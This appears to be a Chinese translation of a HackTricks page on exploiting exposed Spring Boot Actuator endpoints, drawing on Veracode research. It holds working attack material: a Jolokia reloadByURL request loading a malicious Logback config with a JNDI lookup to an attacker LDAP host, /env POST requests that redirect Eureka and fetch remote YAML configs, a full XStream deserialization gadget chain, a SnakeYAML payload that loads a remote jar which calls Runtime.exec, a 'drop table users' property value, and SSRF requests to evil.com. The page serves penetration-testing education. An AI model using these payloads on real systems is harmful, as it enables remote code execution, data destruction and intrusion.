17 KiB
Spring Actuators
从零到英雄学习AWS黑客技术 htARTE (HackTricks AWS Red Team Expert)!
支持HackTricks的其他方式:
- 如果您想在HackTricks中看到您的公司广告或下载HackTricks的PDF,请查看订阅计划!
- 获取官方PEASS & HackTricks商品
- 发现PEASS家族,我们独家的NFTs系列
- 加入 💬 Discord群组 或 telegram群组 或在Twitter 🐦 上关注我 @carlospolopm。
- 通过向 HackTricks 和 HackTricks Cloud github仓库提交PR来分享您的黑客技巧。**
Spring Auth Bypass
来自 https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png****
利用Spring Boot Actuators
复制自 https://www.veracode.com/blog/research/exploiting-spring-boot-actuators
Spring Boot框架包括一些称为actuators的功能,以帮助您在将web应用程序推送到生产环境时进行监控和管理。它们旨在用于审计、健康检查和指标收集,但如果配置不当,也可能为您的服务器打开一个隐藏的门。
当Spring Boot应用程序运行时,它会自动将几个端点(如'/health'、'/trace'、'/beans'、'/env'等)注册到路由过程中。对于Spring Boot 1 - 1.4,这些端点可以在没有认证的情况下访问,导致安全性问题。从Spring版本1.5开始,除了'/health'和'/info'之外的所有端点都被认为是敏感的,并默认受到保护,但应用程序开发者经常禁用这种安全性。
以下Actuator端点可能具有安全隐患,导致潜在的漏洞:
- /dump - 显示线程转储(包括堆栈跟踪)
- /trace - 显示最近几条HTTP消息(可能包括会话标识符)
- /logfile - 输出日志文件的内容
- /shutdown - 关闭应用程序
- /mappings - 显示所有MVC控制器映射
- /env - 提供对配置环境的访问
- /actuator/env
- /restart - 重启应用程序
- /heapdump - 从应用程序使用的JVM构建并返回堆转储
对于Spring 1x,它们在根URL下注册,在2x中移动到了"/actuator/"基路径。
利用:
大多数actuators仅支持GET请求,并简单地揭示敏感配置数据,但其中几个对于寻找shell的人特别有趣:
1. 通过'/jolokia'远程代码执行
如果Jolokia库在目标应用程序类路径中,它将自动由Spring Boot在'/jolokia' actuator端点下暴露。Jolokia允许HTTP访问所有注册的MBeans,并设计用于执行您可以使用JMX执行的相同操作。可以使用以下URL列出所有可用的MBeans操作:
http://127.0.0.1:8090/jolokia/list
同样,大多数MBeans操作只是揭示了一些系统数据,但有一个特别有趣:
'reloadByURL'操作,由Logback库提供,允许我们从外部URL重新加载日志配置。只需导航到:http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml
那么,我们为什么要关心日志配置呢?主要是因为两个原因:
- 配置具有XML格式,当然,Logback在启用外部实体的情况下解析它,因此它容易受到盲XXE的攻击。
- Logback配置具有'从JNDI获取变量'的功能。在XML文件中,我们可以包含一个标签,如'<insertFromJNDI env-entry-name="java:comp/env/appName" as="appName" />',name属性将传递给DirContext.lookup()方法。如果我们可以向.lookup()函数提供任意名称,我们甚至不需要XXE或HeapDump,因为它为我们提供了完整的远程代码执行。
它是如何工作的:
1. 攻击者请求上述URL以执行'qos.logback.classic.jmx.JMXConfigurator'类提供的'reloadByURL'函数。
2. 'reloadByURL'函数从http://artsploit.com/logback.xml下载新配置并将其解析为Logback配置。这个恶意配置应该包含以下内容:
<configuration>
<insertFromJNDI env-entry-name="ldap://artsploit.com:1389/jndi" as="appName" />
</configuration>
3. 当这个文件在易受攻击的服务器上被解析时,它会创建一个连接到攻击者控制的LDAP服务器,该服务器在“env-entry-name”参数值中指定,这导致JNDI解析。恶意LDAP服务器可能会返回一个带有'Reference'类型的对象,以触发在目标应用程序上执行提供的字节码。JNDI攻击在这篇MicroFocus研究论文中有很好的解释。新的JNDI利用技术(之前在我们的博客中描述过)也同样适用于此,因为Tomcat是Spring Boot框架中默认的应用服务器。
2. 通过'/env'修改配置
如果Spring Cloud Libraries在类路径中,'/env'端点允许你修改Spring环境属性。所有标注为'@ConfigurationProperties'的beans都可以被修改和重新绑定。我们可以控制的许多属性(但不是全部)都列在了'/configprops' actuator端点上。实际上,有很多这样的属性,但完全不清楚我们需要修改什么才能达到某种效果。在花了几天时间玩弄它们之后,我们发现了这个:
POST /env HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 65
eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream
此属性将 Eureka serviceURL 修改为任意值。Eureka Server 通常用作发现服务器,几乎所有 Spring Cloud 应用程序都在其上注册并向其发送状态更新。如果您幸运地在目标类路径中有 Eureka-Client <1.8.7(通常包含在 Spring Cloud Netflix 中),您可以利用其中的 XStream 反序列化漏洞。您需要做的就是通过 '/env' 将 'eureka.client.serviceUrl.defaultZone' 属性设置为您的服务器 URL(http://artsploit.com/n/xstream),然后调用 '/refresh' 端点。之后,您的服务器应该提供包含以下内容的 XStream 有效载荷:
<linked-hash-set>
<jdk.nashorn.internal.objects.NativeString>
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator"/>
<next class="java.lang.ProcessBuilder">
<command>
<string>/Applications/Calculator.app/Contents/MacOS/Calculator</string>
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filter class="javax.imageio.ImageIO$ContainsFilter">
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>foo</name>
</filter>
<next class="string">foo</next>
</serviceIterator>
<lock/>
</cipher>
<input class="java.lang.ProcessBuilder$NullInputStream"/>
<ibuffer></ibuffer>
</is>
</dataSource>
</dataHandler>
</value>
</jdk.nashorn.internal.objects.NativeString>
</linked-hash-set>
此XStream有效载荷是从[Marshalsec research](https://github.com/mbechler/marshalsec)中的ImageIO JDK-only gadget chain略作修改的版本。唯一的区别在于使用**LinkedHashSet**来触发'jdk.nashorn.internal.objects.NativeString.hashCode()'方法。原始有效载荷利用java.lang.Map来实现相同的行为,但是Eureka的XStream配置有一个[自定义的映射转换器](https://github.com/Netflix/eureka/blob/master/eureka-client/src/main/java/com/netflix/discovery/converters/XmlXStream.java#L58),这使得它不可用。上面的有效载荷根本不使用Maps,可以用来实现远程代码执行,无需额外限制。
使用Spring Actuators,即使你没有访问内部Eureka服务器的权限,你也可以利用这个漏洞;你只需要一个可用的"/env"端点。
**其他有用的设置:**
**spring.datasource.tomcat.validationQuery=drop+table+users** - 允许你指定任何SQL查询,它将自动针对当前数据库执行。它可以是任何语句,包括insert、update或delete。
![Exploiting Spring Boot Actuators Drop Table](https://www.veracode.com/sites/default/files/exploiting_spring_boot_actuators_drop_table.png)
**spring.datasource.tomcat.url**=jdbc:hsqldb:[https://localhost:3002/xdb](https://www.veracode.com/blog/research/exploiting-spring-boot-actuators) - 允许你修改当前的JDBC连接字符串。
最后一个看起来很棒,但问题是当运行数据库连接的应用程序已经建立时,仅仅更新JDBC字符串并没有任何效果。幸运的是,还有另一个属性可能在这种情况下帮助我们:
**spring.datasource.tomcat.max-active**=777
我们可以使用的技巧是增加数据库的同时连接数。因此,我们可以更改JDBC连接字符串,增加连接数,然后向应用程序发送许多请求以模拟重负载。在负载下,应用程序将创建一个新的数据库连接,使用更新的恶意JDBC字符串。我在本地针对Mysql测试了这种技术,效果非常好。
![Exploiting Spring Boot Actuators Max Active](https://www.veracode.com/sites/default/files/exploiting_spring_boot_actuators_max_active.png)
除此之外,还有其他看起来有趣的属性,但实际上并不真正有用:
**spring.datasource.url** - 数据库连接字符串(仅用于第一次连接)
**spring.datasource.jndiName** - 数据库JNDI字符串(仅用于第一次连接)
**spring.datasource.tomcat.dataSourceJNDI** - 数据库JNDI字符串(根本不使用)
**spring.cloud.config.uri**=[http://artsploit.com/](https://www.veracode.com/blog/research/exploiting-spring-boot-actuators) - spring cloud config url(应用启动后没有任何效果,只使用初始值。)
这些属性除非调用'/restart'端点,否则不会有任何效果。这个端点会重启所有ApplicationContext,但默认情况下是禁用的。
还有很多其他有趣的属性,但大多数在更改后不会立即生效。
**注意** 在Spring Boot 2x中,通过'/env'端点修改属性的请求格式略有不同(它使用json格式),但思路是相同的。
**一个易受攻击的应用示例:**
如果你想在本地测试这个漏洞,我在我的Github页面上创建了一个[简单的Spring Boot应用程序](https://github.com/artsploit/actuator-testbed)。所有有效载荷都应该在那里工作,除了数据库设置(除非你配置它)。
**黑盒发现:**
默认actuators的完整列表可以在这里找到:[https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt)。请记住,应用程序开发人员可以使用@Endpoint注解创建自己的端点。
**2019年5月更新:**
通过Spring环境属性修改,有一种更可靠的方法来实现RCE:
POST /env HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 59
spring.cloud.bootstrap.location=http://artsploit.com/yaml-payload.yml
此请求修改了 'spring.cloud.bootstrap.location' 属性,该属性用于加载外部配置并以 YAML 格式解析它。为了实现这一点,我们还需要调用 '/refresh' 端点。
POST /refresh HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
当从远程服务器获取 YAML 配置时,它会使用 SnakeYAML 库进行解析,该库也容易受到反序列化攻击。有效载荷(yaml-payload.yml)可以使用上述 Marshalsec 研究生成:
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://artsploit.com/yaml-payload.jar"]
]]
]
反序列化此文件会触发使用提供的URLClassLoader执行ScriptEngineManager的构造函数。简而言之,它会导致**'java.util.ServiceLoader#load(java.lang.Class<S>, java.lang.ClassLoader)'** 方法,该方法尝试在类路径中的所有库中找到'ScriptEngineFactory'接口的所有实现。由于我们可以通过URLClassLoader添加新库,我们可以提供一个包含恶意字节码的新'ScriptEngineFactory'。为此,我们需要创建一个包含以下必须文件的jar存档:yaml-payload.jar:/artsploit/AwesomeScriptEngineFactory.class 应该包含实际的字节码,构造函数中有恶意载荷。
public class AwesomeScriptEngineFactory implements ScriptEngineFactory {
public AwesomeScriptEngineFactory() {
try {
Runtime.getRuntime().exec("dig scriptengine.x.artsploit.com");
Runtime.getRuntime().exec("/Applications/Calculator.app/Contents/MacOS/Calculator");
} catch (IOException e) {
e.printStackTrace();
}
}
[yaml-payload.jar:/META-INF/services/javax.script.ScriptEngineFactory](https://github.com/artsploit/yaml-payload/blob/master/src/META-INF/services/javax.script.ScriptEngineFactory) 应该只是一个文本文件,包含对 'artsploit.AwesomeScriptEngineFactory' 的完整引用,以便 ServiceLoader 知道在哪里找到类:**artsploit.AwesomeScriptEngineFactory** 同样,这种利用技术需要 spring cloud 在类路径中,但与 Eureka 的 XStream payload 相比,它即使在最新版本中也能工作。你可以在我的 github 项目中找到完整的 payload:[yaml-payload](https://github.com/artsploit/yaml-payload)。
## Env + H2 RCE
查看此页面以了解如何利用 /env + H2 组合:[https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database)
## 通过错误的路径名解释在 Spring Boot 上的 SSRF <a href="#heading-ssrf-on-spring-boot-through-incorrect-pathname-interpretation" id="heading-ssrf-on-spring-boot-through-incorrect-pathname-interpretation"></a>
[**来自这项研究**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies#heading-ssrf-on-spring-boot-through-incorrect-pathname-interpretation):Spring 框架接受矩阵参数分隔符 `;` 在 HTTP 路径名的第一个斜杠之前:
GET ;1337/api/v1/me HTTP/1.1
Host: target.com
Connection: close
在如下场景中:
考虑到Spring允许在矩阵参数分隔符后面跟任何字符,因此也可以使用@
字符来获取任意端点。
以下是利用请求的示例:
GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close
更多信息
- https://tutorialboy24.blogspot.com/2022/02/introduction-to-spring-boot-related.html
- https://blog.maass.xyz/spring-actuator-security-part-1-stealing-secrets-using-spring-actuators
- https://blog.maass.xyz/spring-actuator-security-part-2-finding-actuators-using-static-code-analysis-with-semgrep
通过 htARTE (HackTricks AWS Red Team Expert)从零开始学习AWS黑客攻击技巧!
支持HackTricks的其他方式:
- 如果您想在HackTricks中看到您的公司广告或下载HackTricks的PDF版本,请查看订阅计划!
- 获取官方的PEASS & HackTricks商品
- 发现PEASS家族,我们独家的NFTs系列
- 加入 💬 Discord群组 或 telegram群组 或在 Twitter 🐦 上关注我 @carlospolopm。
- 通过向 HackTricks 和 HackTricks Cloud github仓库提交PR来分享您的黑客技巧。